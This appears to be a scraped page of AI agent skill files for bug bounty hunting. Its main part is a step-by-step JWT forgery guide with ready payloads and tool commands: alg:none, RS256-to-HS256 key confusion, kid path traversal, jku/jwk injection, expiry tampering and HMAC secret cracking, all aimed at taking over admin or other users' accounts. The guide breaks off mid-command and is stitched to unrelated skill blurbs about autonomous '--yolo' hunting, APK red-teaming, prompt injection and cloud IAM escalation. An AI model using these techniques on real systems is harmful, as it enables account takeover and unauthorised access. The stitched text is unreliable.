hunt-jwt-crypto
Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants access to another user's data or an admin-only endpoint.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-jwt-crypto && cp -r /tmp/hunt-jwt-crypto/skills/hunt-jwt-crypto ~/.claude/skills/hunt-jwt-cryptoSKILL.md
# HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)
## What actually pays
A JWT is `header.payload.signature`, each base64url. The signature is the only
thing stopping you from editing the payload (your identity/role) and replaying
it. It pays **High/Critical** when the verifier can be tricked into accepting a
token you forged — so you become another user or an admin without their secret.
Two classic, generic verifier flaws:
- **`alg:none`** — the verifier trusts the token's own `alg` header. Set
`alg:"none"`, drop the signature, edit the payload (e.g. `role:"admin"`,
another user's `id`/`email`). A broken verifier skips signature checking.
- **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The
RSA **public** key is, by definition, public. If the verifier lets you choose
HS256, it will use that public key as the HMAC *secret* — which you also know.
Sign an edited payload with HS256 using the public key and it validates.
## Recon — is this app JWT-based?
```
Login/token responses containing "token":"eyJ..." or Set-Cookie: token=eyJ...
Authorization: Bearer eyJ... on authenticated requests
A JWKS / public-key endpoint: /.well-known/jwks.json, /jwks, public-key in the JS bundle
```
Decode the header (base64url the first segment). `"alg":"RS256"` → try key
confusion. Any alg → always try `alg:none` first; it's free.
## Forging the token (never hand-encode base64 — use a JWT tool)
Use a purpose-built tool so encoding/signing is correct: **jwt_tool**
(`jwt_tool <token> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk
public.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines
of **PyJWT**. Each forge below is the concept plus the claim to edit.
**alg:none — become admin / another user**
```
header: {"alg":"none","typ":"JWT"}
payload: {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot: header.payload. )
```
Some verifiers reject lowercase `none` but accept `None`/`NONE`/`nOnE` — try case variants.
**RS256 → HS256 key confusion — once you have the RSA public key**
```
1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
/.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
jwt_tool <token> -X k -pk public.pem
payload edit: {"sub":"administrator"} (or role:"admin" / another user's id)
```
**kid header injection — verifier loads the HMAC key from a FILE named by `kid`**
```
header: {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret: "" (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}
```
Traverse out of the keys directory first. `kid` can also carry SQLi / command
injection / SSRF if the key lookup hits a DB / shell / URL — same idea: `kid` is
attacker-controlled and reaches a dangerous sink.
**jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token**
```
1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
path on the target's OWN domain so the fetch resolves to your JWKS.
```
**jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token**
```
header: {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)
```
Some verifiers incorrectly trust a `jwk` (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.
**Expiry / time-based claim manipulation**
```
Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}
```
Combined with any forging technique above (alg:none, key confusion, jwk injection), this
bypasses time-based validation when the verifier does not enforce strict expiry rules.
**Cross-tenant claim injection — escalate to another tenant's data via claim swaps**
```
Identify tenant-related claims in a decoded real token: "org_id", "tenant", "account_id",
"workspace_id", "customer_id". Edit the target claim to another tenant's value.
Example: {"sub":"victim@org.com","org_id":1234} → change org_id to an admin's org (e.g. 9999).
```
This is systematic IDOR via claims — if authorization logic trusts the token claims
without checking ownership server-side, you cross into another tenant's resources.
Works especially well combined with alg:none or weak-secret attacks.
Match the `payload` shape to a REAL token from the app (decode one first) — keep
its claim names, only change identity/role. A payload the app can't parse fails
for the wrong reason and wastes the attempt.
## Offline attacks — weak HMAC secret cracking
If the token is HS256 (HMAC-based) and the secret is weak or reused from a known
password list:
```bash
# Hashcat: mode 16500 = JWT
hashcat -a 0 -m 16500 <jwt_file> rockyou.txt
# jwt_tool: built-in wordlist cracking
jwt_tool <token> -C -d wordlist.txt
```
Once the secret is cracked, forge any token using HS256 with that secret (via
jwt_tool or PyJWT).
## Automated attack automation
Use purpose-built JWT attack suites to run all known forgery modes in parallel:
```bash
# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.
jwtEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.